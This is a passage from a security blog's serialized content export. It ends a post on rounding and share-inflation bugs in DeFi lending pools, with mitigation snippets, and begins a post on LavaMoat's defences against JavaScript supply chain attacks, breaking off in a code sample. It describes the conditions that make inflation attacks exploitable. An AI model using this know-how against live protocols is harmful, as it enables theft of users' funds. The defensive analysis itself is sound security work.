be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":25,"props":53380,"children":53381},{},[53382],{"type":29,"value":53383},"This is a really tricky invariant to reason about!",{"type":24,"tag":228,"props":53385,"children":53387},{"id":53386},"root-cause",[53388],{"type":29,"value":53389},"Root Cause",{"type":24,"tag":25,"props":53391,"children":53392},{},[53393],{"type":29,"value":53394},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":25,"props":53396,"children":53397},{},[53398],{"type":29,"value":53399},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":317,"props":53401,"children":53403},{"className":12046,"code":53402,"language":12045,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[53404],{"type":24,"tag":284,"props":53405,"children":53406},{"__ignoreMap":7},[53407],{"type":24,"tag":327,"props":53408,"children":53409},{"class":329,"line":330},[53410,53415,53419,53424,53428],{"type":24,"tag":327,"props":53411,"children":53412},{"style":346},[53413],{"type":29,"value":53414},"totalDepositShares ",{"type":24,"tag":327,"props":53416,"children":53417},{"style":381},[53418],{"type":29,"value":469},{"type":24,"tag":327,"props":53420,"children":53421},{"style":346},[53422],{"type":29,"value":53423}," _amount ",{"type":24,"tag":327,"props":53425,"children":53426},{"style":381},[53427],{"type":29,"value":2899},{"type":24,"tag":327,"props":53429,"children":53430},{"style":346},[53431],{"type":29,"value":53432}," pseudoTotalPool\n",{"type":24,"tag":25,"props":53434,"children":53435},{},[53436],{"type":29,"value":53437},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":25,"props":53439,"children":53440},{},[53441,53443,53447],{"type":29,"value":53442},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":42,"props":53444,"children":53445},{},[53446],{"type":29,"value":1261},{"type":29,"value":53448}," integer division?",{"type":24,"tag":228,"props":53450,"children":53452},{"id":53451},"mitigations",[53453],{"type":29,"value":53454},"Mitigations",{"type":24,"tag":25,"props":53456,"children":53457},{},[53458],{"type":29,"value":53459},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":25,"props":53461,"children":53462},{},[53463,53465,53472],{"type":29,"value":53464},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":57,"props":53466,"children":53469},{"href":53467,"rel":53468},"https://twitter.com/danielvf/status/1746306320553152615",[61],[53470],{"type":29,"value":53471},"@danielvf notes",{"type":29,"value":53473},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":317,"props":53475,"children":53477},{"className":12046,"code":53476,"language":12045,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[53478],{"type":24,"tag":284,"props":53479,"children":53480},{"__ignoreMap":7},[53481,53505,53552,53586],{"type":24,"tag":327,"props":53482,"children":53483},{"class":329,"line":330},[53484,53488,53493,53497,53501],{"type":24,"tag":327,"props":53485,"children":53486},{"style":425},[53487],{"type":29,"value":5999},{"type":24,"tag":327,"props":53489,"children":53490},{"style":346},[53491],{"type":29,"value":53492}," (_totalSupply ",{"type":24,"tag":327,"props":53494,"children":53495},{"style":381},[53496],{"type":29,"value":642},{"type":24,"tag":327,"props":53498,"children":53499},{"style":397},[53500],{"type":29,"value":6695},{"type":24,"tag":327,"props":53502,"children":53503},{"style":346},[53504],{"type":29,"value":364},{"type":24,"tag":327,"props":53506,"children":53507},{"class":329,"line":367},[53508,53513,53517,53522,53527,53532,53537,53542,53547],{"type":24,"tag":327,"props":53509,"children":53510},{"style":346},[53511],{"type":29,"value":53512},"    liquidity ",{"type":24,"tag":327,"props":53514,"children":53515},{"style":381},[53516],{"type":29,"value":384},{"type":24,"tag":327,"props":53518,"children":53519},{"style":346},[53520],{"type":29,"value":53521}," Math.",{"type":24,"tag":327,"props":53523,"children":53524},{"style":340},[53525],{"type":29,"value":53526},"sqrt",{"type":24,"tag":327,"props":53528,"children":53529},{"style":346},[53530],{"type":29,"value":53531},"(amount0.",{"type":24,"tag":327,"props":53533,"children":53534},{"style":340},[53535],{"type":29,"value":53536},"mul",{"type":24,"tag":327,"props":53538,"children":53539},{"style":346},[53540],{"type":29,"value":53541},"(amount1)).",{"type":24,"tag":327,"props":53543,"children":53544},{"style":340},[53545],{"type":29,"value":53546},"sub",{"type":24,"tag":327,"props":53548,"children":53549},{"style":346},[53550],{"type":29,"value":53551},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":327,"props":53553,"children":53554},{"class":329,"line":408},[53555,53560,53564,53568,53572,53576,53581],{"type":24,"tag":327,"props":53556,"children":53557},{"style":340},[53558],{"type":29,"value":53559},"   _mint",{"type":24,"tag":327,"props":53561,"children":53562},{"style":346},[53563],{"type":29,"value":349},{"type":24,"tag":327,"props":53565,"children":53566},{"style":1639},[53567],{"type":29,"value":39351},{"type":24,"tag":327,"props":53569,"children":53570},{"style":346},[53571],{"type":29,"value":349},{"type":24,"tag":327,"props":53573,"children":53574},{"style":397},[53575],{"type":29,"value":2988},{"type":24,"tag":327,"props":53577,"children":53578},{"style":346},[53579],{"type":29,"value":53580},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":327,"props":53582,"children":53583},{"style":551},[53584],{"type":29,"value":53585},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":24,"tag":327,"props":53587,"children":53588},{"class":329,"line":421},[53589,53594,53598],{"type":24,"tag":327,"props":53590,"children":53591},{"style":346},[53592],{"type":29,"value":53593},"} ",{"type":24,"tag":327,"props":53595,"children":53596},{"style":425},[53597],{"type":29,"value":492},{"type":24,"tag":327,"props":53599,"children":53600},{"style":346},[53601],{"type":29,"value":497},{"type":24,"tag":25,"props":53603,"children":53604},{},[53605,53607,53614],{"type":29,"value":53606},"Alternatively, ",{"type":24,"tag":57,"props":53608,"children":53611},{"href":53609,"rel":53610},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[61],[53612],{"type":29,"value":53613},"storing the conversion rate separately",{"type":29,"value":53615}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":317,"props":53617,"children":53619},{"className":12046,"code":53618,"language":12045,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[53620],{"type":24,"tag":284,"props":53621,"children":53622},{"__ignoreMap":7},[53623,53658],{"type":24,"tag":327,"props":53624,"children":53625},{"class":329,"line":330},[53626,53631,53635,53640,53644,53649,53653],{"type":24,"tag":327,"props":53627,"children":53628},{"style":346},[53629],{"type":29,"value":53630},"accrualIndices.borrowed ",{"type":24,"tag":327,"props":53632,"children":53633},{"style":381},[53634],{"type":29,"value":384},{"type":24,"tag":327,"props":53636,"children":53637},{"style":346},[53638],{"type":29,"value":53639}," accrualIndices.borrowed ",{"type":24,"tag":327,"props":53641,"children":53642},{"style":381},[53643],{"type":29,"value":469},{"type":24,"tag":327,"props":53645,"children":53646},{"style":346},[53647],{"type":29,"value":53648}," borrowInterestFactor ",{"type":24,"tag":327,"props":53650,"children":53651},{"style":381},[53652],{"type":29,"value":2899},{"type":24,"tag":327,"props":53654,"children":53655},{"style":346},[53656],{"type":29,"value":53657}," precision;\n",{"type":24,"tag":327,"props":53659,"children":53660},{"class":329,"line":367},[53661,53666,53670,53675,53679,53684,53688],{"type":24,"tag":327,"props":53662,"children":53663},{"style":346},[53664],{"type":29,"value":53665},"accrualIndices.deposited ",{"type":24,"tag":327,"props":53667,"children":53668},{"style":381},[53669],{"type":29,"value":384},{"type":24,"tag":327,"props":53671,"children":53672},{"style":346},[53673],{"type":29,"value":53674}," accrualIndices.deposited ",{"type":24,"tag":327,"props":53676,"children":53677},{"style":381},[53678],{"type":29,"value":469},{"type":24,"tag":327,"props":53680,"children":53681},{"style":346},[53682],{"type":29,"value":53683}," depositInterestFactor ",{"type":24,"tag":327,"props":53685,"children":53686},{"style":381},[53687],{"type":29,"value":2899},{"type":24,"tag":327,"props":53689,"children":53690},{"style":346},[53691],{"type":29,"value":53657},{"type":24,"tag":25,"props":53693,"children":53694},{},[53695],{"type":29,"value":53696},"We also want to note some general takeaways:",{"type":24,"tag":25,"props":53698,"children":53699},{},[53700,53702,53707],{"type":29,"value":53701},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":42,"props":53703,"children":53704},{},[53705],{"type":29,"value":53706},"apply the state changes and check the invariant",{"type":29,"value":66},{"type":24,"tag":25,"props":53709,"children":53710},{},[53711],{"type":29,"value":53712},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":25,"props":53714,"children":53715},{},[53716],{"type":29,"value":53717},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":228,"props":53719,"children":53720},{"id":10412},[53721],{"type":29,"value":226},{"type":24,"tag":25,"props":53723,"children":53724},{},[53725],{"type":29,"value":53726},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":25,"props":53728,"children":53729},{},[53730],{"type":29,"value":53731},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":10448,"props":53733,"children":53734},{},[53735],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":53737},[53738,53739,53740,53744,53745,53746],{"id":35723,"depth":367,"text":35726},{"id":52660,"depth":367,"text":52663},{"id":52779,"depth":367,"text":52782,"children":53741},[53742,53743],{"id":52790,"depth":408,"text":52793},{"id":52828,"depth":408,"text":52831},{"id":53386,"depth":367,"text":53389},{"id":53451,"depth":367,"text":53454},{"id":10412,"depth":367,"text":226},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":53751,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":53752,"description":53753,"author":53754,"image":53755,"date":53757,"isFeatured":16,"onBlogPage":16,"body":53758,"_type":10481,"_id":57238,"_source":10483,"_file":57239,"_stem":57240,"_extension":10486},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[37911,37910],{"src":53756},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":53759,"toc":57217},[53760,53764,53785,53790,53794,53799,53838,53844,53859,53877,53882,53887,53892,53905,54212,54238,54251,54256,54261,54275,54280,54293,54307,54538,54559,54594,54600,54605,54610,54824,54845,54851,54863,54953,54975,55011,55019,55037,55294,55320,55326,55340,55538,55557,55964,55977,55983,56002,56095,56100,56106,56119,56132,56218,56224,56236,56321,56333,56346,56352,56357,56371,56698,56703,56708,56714,56740,56795,56815,56868,56874,56879,56898,56909,57103,57109,57132,57138,57143,57156,57161,57166,57170,57175,57183,57213],{"type":24,"tag":228,"props":53761,"children":53762},{"id":237},[53763],{"type":29,"value":240},{"type":24,"tag":25,"props":53765,"children":53766},{},[53767,53774,53776,53783],{"type":24,"tag":57,"props":53768,"children":53771},{"href":53769,"rel":53770},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[61],[53772],{"type":29,"value":53773},"Supply chain",{"type":29,"value":53775}," attacks are becoming ",{"type":24,"tag":57,"props":53777,"children":53780},{"href":53778,"rel":53779},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[61],[53781],{"type":29,"value":53782},"increasingly popular in Web3",{"type":29,"value":53784},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":25,"props":53786,"children":53787},{},[53788],{"type":29,"value":53789},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":235,"props":53791,"children":53792},{"id":35723},[53793],{"type":29,"value":35726},{"type":24,"tag":25,"props":53795,"children":53796},{},[53797],{"type":29,"value":53798},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":175,"props":53800,"children":53801},{},[53802,53814,53826],{"type":24,"tag":179,"props":53803,"children":53804},{},[53805,53812],{"type":24,"tag":57,"props":53806,"children":53809},{"href":53807,"rel":53808},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[61],[53810],{"type":29,"value":53811},"Lavamoat Browserify",{"type":29,"value":53813}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":24,"tag":179,"props":53815,"children":53816},{},[53817,53824],{"type":24,"tag":57,"props":53818,"children":53821},{"href":53819,"rel":53820},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[61],[53822],{"type":29,"value":53823},"NodeJS Lavamoat",{"type":29,"value":53825}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":179,"props":53827,"children":53828},{},[53829,53836],{"type":24,"tag":57,"props":53830,"children":53833},{"href":53831,"rel":53832},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[61],[53834],{"type":29,"value":53835},"Lavamoat allow-scripts",{"type":29,"value":53837}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":235,"props":53839,"children":53841},{"id":53840},"lavamoats-security-features",[53842],{"type":29,"value":53843},"Lavamoat's Security Features",{"type":24,"tag":25,"props":53845,"children":53846},{},[53847,53849,53857],{"type":29,"value":53848},"The three most important features of Lavamoat",{"type":24,"tag":22996,"props":53850,"children":53851},{},[53852],{"type":24,"tag":57,"props":53853,"children":53855},{"href":36332,"ariaDescribedBy":53854,"dataFootnoteRef":7,"id":36334},[23003],[53856],{"type":29,"value":3238},{"type":29,"value":53858}," are:",{"type":24,"tag":1380,"props":53860,"children":53861},{},[53862,53867,53872],{"type":24,"tag":179,"props":53863,"children":53864},{},[53865],{"type":29,"value":53866},"Policy Files",{"type":24,"tag":179,"props":53868,"children":53869},{},[53870],{"type":29,"value":53871},"NPM Anti Hijacking",{"type":24,"tag":179,"props":53873,"children":53874},{},[53875],{"type":29,"value":53876},"Scuttling",{"type":24,"tag":25,"props":53878,"children":53879},{},[53880],{"type":29,"value":53881},"Let's go over them one by one.",{"type":24,"tag":168,"props":53883,"children":53885},{"id":53884},"policy-files",[53886],{"type":29,"value":53866},{"type":24,"tag":25,"props":53888,"children":53889},{},[53890],{"type":29,"value":53891},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":25,"props":53893,"children":53894},{},[53895,53897,53904],{"type":29,"value":53896},"For example, take the ",{"type":24,"tag":57,"props":53898,"children":53901},{"href":53899,"rel":53900},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[61],[53902],{"type":29,"value":53903},"Metamask Snap policy file",{"type":29,"value":1636},{"type":24,"tag":317,"props":53906,"children":53908},{"className":38073,"code":53907,"language":38075,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[53909],{"type":24,"tag":284,"props":53910,"children":53911},{"__ignoreMap":7},[53912,53924,53939,53959,53978,53998,54018,54038,54058,54078,54099,54119,54138,54154,54161,54176,54196],{"type":24,"tag":327,"props":53913,"children":53914},{"class":329,"line":330},[53915,53920],{"type":24,"tag":327,"props":53916,"children":53917},{"style":844},[53918],{"type":29,"value":53919},"   \"@metamask/providers\"",{"type":24,"tag":327,"props":53921,"children":53922},{"style":346},[53923],{"type":29,"value":43735},{"type":24,"tag":327,"props":53925,"children":53926},{"class":329,"line":367},[53927,53931,53935],{"type":24,"tag":327,"props":53928,"children":53929},{"style":844},[53930],{"type":29,"value":43743},{"type":24,"tag":327,"props":53932,"children":53933},{"style":356},[53934],{"type":29,"value":1636},{"type":24,"tag":327,"props":53936,"children":53937},{"style":346},[53938],{"type":29,"value":497},{"type":24,"tag":327,"props":53940,"children":53941},{"class":329,"line":408},[53942,53947,53951,53955],{"type":24,"tag":327,"props":53943,"children":53944},{"style":844},[53945],{"type":29,"value":53946},"        \"Event\"",{"type":24,"tag":327,"props":53948,"children":53949},{"style":356},[53950],{"type":29,"value":1636},{"type":24,"tag":327,"props":53952,"children":53953},{"style":334},[53954],{"type":29,"value":9722},{"type":24,"tag":327,"props":53956,"children":53957},{"style":346},[53958],{"type":29,"value":2231},{"type":24,"tag":327,"props":53960,"children":53961},{"class":329,"line":421},[53962,53966,53970,53974],{"type":24,"tag":327,"props":53963,"children":53964},{"style":844},[53965],{"type":29,"value":43795},{"type":24,"tag":327,"props":53967,"children":53968},{"style":356},[53969],{"type":29,"value":1636},{"type":24,"tag":327,"props":53971,"children":53972},{"style":334},[53973],{"type":29,"value":9722},{"type":24,"tag":327,"props":53975,"children":53976},{"style":346},[53977],{"type":29,"value":2231},{"type":24,"tag":327,"props":53979,"children":53980},{"class":329,"line":450},[53981,53986,53990,53994],{"type":24,"tag":327,"props":53982,"children":53983},{"style":844},[53984],{"type":29,"value":53985},"        \"chrome.runtime.connect\"",{"type":24,"tag":327,"props":53987,"children":53988},{"style":356},[53989],{"type":29,"value":1636},{"type":24,"tag":327,"props":53991,"children":53992},{"style":334},[53993],{"type":29,"value":9722},{"type":24,"tag":327,"props":53995,"children":53996},{"style":346},[53997],{"type":29,"value":2231},{"type":24,"tag":327,"props":53999,"children":54000},{"class":329,"line":481},[54001,54006,54010,54014],{"type":24,"tag":327,"props":54002,"children":54003},{"style":844},[54004],{"type":29,"value":54005},"        \"console\"",{"type":24,"tag":327,"props":54007,"children":54008},{"style":356},[54009],{"type":29,"value":1636},{"type":24,"tag":327,"props":54011,"children":54012},{"style":334},[54013],{"type":29,"value":9722},{"type":24,"tag":327,"props":54015,"children":54016},{"style":346},[54017],{"type":29,"value":2231},{"type":24,"tag":327,"props":54019,"children":54020},{"class":329,"line":500},[54021,54026,54030,54034],{"type":24,"tag":327,"props":54022,"children":54023},{"style":844},[54024],{"type":29,"value":54025},"        \"dispatchEvent\"",{"type":24,"tag":327,"props":54027,"children":54028},{"style":356},[54029],{"type":29,"value":1636},{"type":24,"tag":327,"props":54031,"children":54032},{"style":334},[54033],{"type":29,"value":9722},{"type":24,"tag":327,"props":54035,"children":54036},{"style":346},[54037],{"type":29,"value":2231},{"type":24,"tag":327,"props":54039,"children":54040},{"class":329,"line":529},[54041,54046,54050,54054],{"type":24,"tag":327,"props":54042,"children":54043},{"style":844},[54044],{"type":29,"value":54045},"        \"document.createElement\"",{"type":24,"tag":327,"props":54047,"children":54048},{"style":356},[54049],{"type":29,"value":1636},{"type":24,"tag":327,"props":54051,"children":54052},{"style":334},[54053],{"type":29,"value":9722},{"type":24,"tag":327,"props":54055,"children":54056},{"style":346},[54057],{"type":29,"value":2231},{"type":24,"tag":327,"props":54059,"children":54060},{"class":329,"line":538},[54061,54066,54070,54074],{"type":24,"tag":327,"props":54062,"children":54063},{"style":844},[54064],{"type":29,"value":54065},"        \"document.readyState\"",{"type":24,"tag":327,"props":54067,"children":54068},{"style":356},[54069],{"type":29,"value":1636},{"type":24,"tag":327,"props":54071,"children":54072},{"style":334},[54073],{"type":29,"value":9722},{"type":24,"tag":327,"props":54075,"children":54076},{"style":346},[54077],{"type":29,"value":2231},{"type":24,"tag":327,"props":54079,"children":54080},{"class":329,"line":547},[54081,54086,54090,54095],{"type":24,"tag":327,"props":54082,"children":54083},{"style":844},[54084],{"type":29,"value":54085},"        \"ethereum\"",{"type":24,"tag":327,"props":54087,"children":54088},{"style":356},[54089],{"type":29,"value":1636},{"type":24,"tag":327,"props":54091,"children":54092},{"style":844},[54093],{"type":29,"value":54094}," \"write\"",{"type":24,"tag":327,"props":54096,"children":54097},{"style":346},[54098],{"type":29,"value":2231},{"type":24,"tag":327,"props":54100,"children":54101},{"class":329,"line":557},[54102,54107,54111,54115],{"type":24,"tag":327,"props":54103,"children":54104},{"style":844},[54105],{"type":29,"value":54106},"        \"location.hostname\"",{"type":24,"tag":327,"props":54108,"children":54109},{"style":356},[54110],{"type":29,"value":1636},{"type":24,"tag":327,"props":54112,"children":54113},{"style":334},[54114],{"type":29,"value":9722},{"type":24,"tag":327,"props":54116,"children":54117},{"style":346},[54118],{"type":29,"value":2231},{"type":24,"tag":327,"props":54120,"children":54121},{"class":329,"line":586},[54122,54126,54130,54134],{"type":24,"tag":327,"props":54123,"children":54124},{"style":844},[54125],{"type":29,"value":43895},{"type":24,"tag":327,"props":54127,"children":54128},{"style":356},[54129],{"type":29,"value":1636},{"type":24,"tag":327,"props":54131,"children":54132},{"style":334},[54133],{"type":29,"value":9722},{"type":24,"tag":327,"props":54135,"children":54136},{"style":346},[54137],{"type":29,"value":2231},{"type":24,"tag":327,"props":54139,"children":54140},{"class":329,"line":1017},[54141,54146,54150],{"type":24,"tag":327,"props":54142,"children":54143},{"style":844},[54144],{"type":29,"value":54145},"        \"web3\"",{"type":24,"tag":327,"props":54147,"children":54148},{"style":356},[54149],{"type":29,"value":1636},{"type":24,"tag":327,"props":54151,"children":54152},{"style":334},[54153],{"type":29,"value":53268},{"type":24,"tag":327,"props":54155,"children":54156},{"class":329,"line":1026},[54157],{"type":24,"tag":327,"props":54158,"children":54159},{"style":346},[54160],{"type":29,"value":43912},{"type":24,"tag":327,"props":54162,"children":54163},{"class":329,"line":1048},[54164,54168,54172],{"type":24,"tag":327,"props":54165,"children":54166},{"style":844},[54167],{"type":29,"value":43920},{"type":24,"tag":327,"props":54169,"children":54170},{"style":356},[54171],{"type":29,"value":1636},{"type":24,"tag":327,"props":54173,"children":54174},{"style":346},[54175],{"type":29,"value":497},{"type":24,"tag":327,"props":54177,"children":54178},{"class":329,"line":1067},[54179,54184,54188,54192],{"type":24,"tag":327,"props":54180,"children":54181},{"style":844},[54182],{"type":29,"value":54183},"        \"@metamask/object-multiplex\"",{"type":24,"tag":327,"props":54185,"children":54186},{"style":356},[54187],{"type":29,"value":1636},{"type":24,"tag":327,"props":54189,"children":54190},{"style":334},[54191],{"type":29,"value":9722},{"type":24,"tag":327,"props":54193,"children":54194},{"style":346},[54195],{"type":29,"value":2231},{"type":24,"tag":327,"props":54197,"children":54198},{"class":329,"line":1075},[54199,54204,54208],{"type":24,"tag":327,"props":54200,"children":54201},{"style":844},[54202],{"type":29,"value":54203},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":327,"props":54205,"children":54206},{"style":356},[54207],{"type":29,"value":1636},{"type":24,"tag":327,"props":54209,"children":54210},{"style":334},[54211],{"type":29,"value":53268},{"type":24,"tag":25,"props":54213,"children":54214},{},[54215,54216,54221,54223,54228,54230,54236],{"type":29,"value":1713},{"type":24,"tag":284,"props":54217,"children":54219},{"className":54218},[],[54220],{"type":29,"value":43985},{"type":29,"value":54222}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":284,"props":54224,"children":54226},{"className":54225},[],[54227],{"type":29,"value":43993},{"type":29,"value":54229}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":284,"props":54231,"children":54233},{"className":54232},[],[54234],{"type":29,"value":54235},"@metamask/providers",{"type":29,"value":54237}," interacts with other packages.",{"type":24,"tag":25,"props":54239,"children":54240},{},[54241,54243,54249],{"type":29,"value":54242},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":284,"props":54244,"children":54246},{"className":54245},[],[54247],{"type":29,"value":54248},"lavapack",{"type":29,"value":54250},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":168,"props":54252,"children":54254},{"id":54253},"npm-anti-hijacking",[54255],{"type":29,"value":53871},{"type":24,"tag":25,"props":54257,"children":54258},{},[54259],{"type":29,"value":54260},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":25,"props":54262,"children":54263},{},[54264,54266,54273],{"type":29,"value":54265},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":57,"props":54267,"children":54270},{"href":54268,"rel":54269},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[61],[54271],{"type":29,"value":54272},"walking the modules",{"type":29,"value":54274}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":168,"props":54276,"children":54278},{"id":54277},"scuttling",[54279],{"type":29,"value":53876},{"type":24,"tag":25,"props":54281,"children":54282},{},[54283,54285,54291],{"type":29,"value":54284},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":284,"props":54286,"children":54288},{"className":54287},[],[54289],{"type":29,"value":54290},"GlobalThis",{"type":29,"value":54292}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":25,"props":54294,"children":54295},{},[54296,54298,54305],{"type":29,"value":54297},"For example, ",{"type":24,"tag":57,"props":54299,"children":54302},{"href":54300,"rel":54301},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[61],[54303],{"type":29,"value":54304},"here",{"type":29,"value":54306}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":317,"props":54308,"children":54310},{"className":38073,"code":54309,"language":38075,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[54311],{"type":24,"tag":284,"props":54312,"children":54313},{"__ignoreMap":7},[54314,54343,54393,54452,54459,54531],{"type":24,"tag":327,"props":54315,"children":54316},{"class":329,"line":330},[54317,54321,54325,54330,54334,54339],{"type":24,"tag":327,"props":54318,"children":54319},{"style":425},[54320],{"type":29,"value":428},{"type":24,"tag":327,"props":54322,"children":54323},{"style":346},[54324],{"type":29,"value":5894},{"type":24,"tag":327,"props":54326,"children":54327},{"style":356},[54328],{"type":29,"value":54329},"scuttleOpts",{"type":24,"tag":327,"props":54331,"children":54332},{"style":346},[54333],{"type":29,"value":66},{"type":24,"tag":327,"props":54335,"children":54336},{"style":356},[54337],{"type":29,"value":54338},"enabled",{"type":24,"tag":327,"props":54340,"children":54341},{"style":346},[54342],{"type":29,"value":364},{"type":24,"tag":327,"props":54344,"children":54345},{"class":329,"line":367},[54346,54350,54354,54358,54363,54367,54372,54376,54380,54384,54389],{"type":24,"tag":327,"props":54347,"children":54348},{"style":425},[54349],{"type":29,"value":46000},{"type":24,"tag":327,"props":54351,"children":54352},{"style":346},[54353],{"type":29,"value":5894},{"type":24,"tag":327,"props":54355,"children":54356},{"style":381},[54357],{"type":29,"value":1986},{"type":24,"tag":327,"props":54359,"children":54360},{"style":356},[54361],{"type":29,"value":54362},"Array",{"type":24,"tag":327,"props":54364,"children":54365},{"style":346},[54366],{"type":29,"value":66},{"type":24,"tag":327,"props":54368,"children":54369},{"style":340},[54370],{"type":29,"value":54371},"isArray",{"type":24,"tag":327,"props":54373,"children":54374},{"style":346},[54375],{"type":29,"value":349},{"type":24,"tag":327,"props":54377,"children":54378},{"style":356},[54379],{"type":29,"value":54329},{"type":24,"tag":327,"props":54381,"children":54382},{"style":346},[54383],{"type":29,"value":66},{"type":24,"tag":327,"props":54385,"children":54386},{"style":356},[54387],{"type":29,"value":54388},"exceptions",{"type":24,"tag":327,"props":54390,"children":54391},{"style":346},[54392],{"type":29,"value":41906},{"type":24,"tag":327,"props":54394,"children":54395},{"class":329,"line":408},[54396,54401,54405,54409,54413,54418,54422,54426,54431,54435,54439,54443,54448],{"type":24,"tag":327,"props":54397,"children":54398},{"style":425},[54399],{"type":29,"value":54400},"        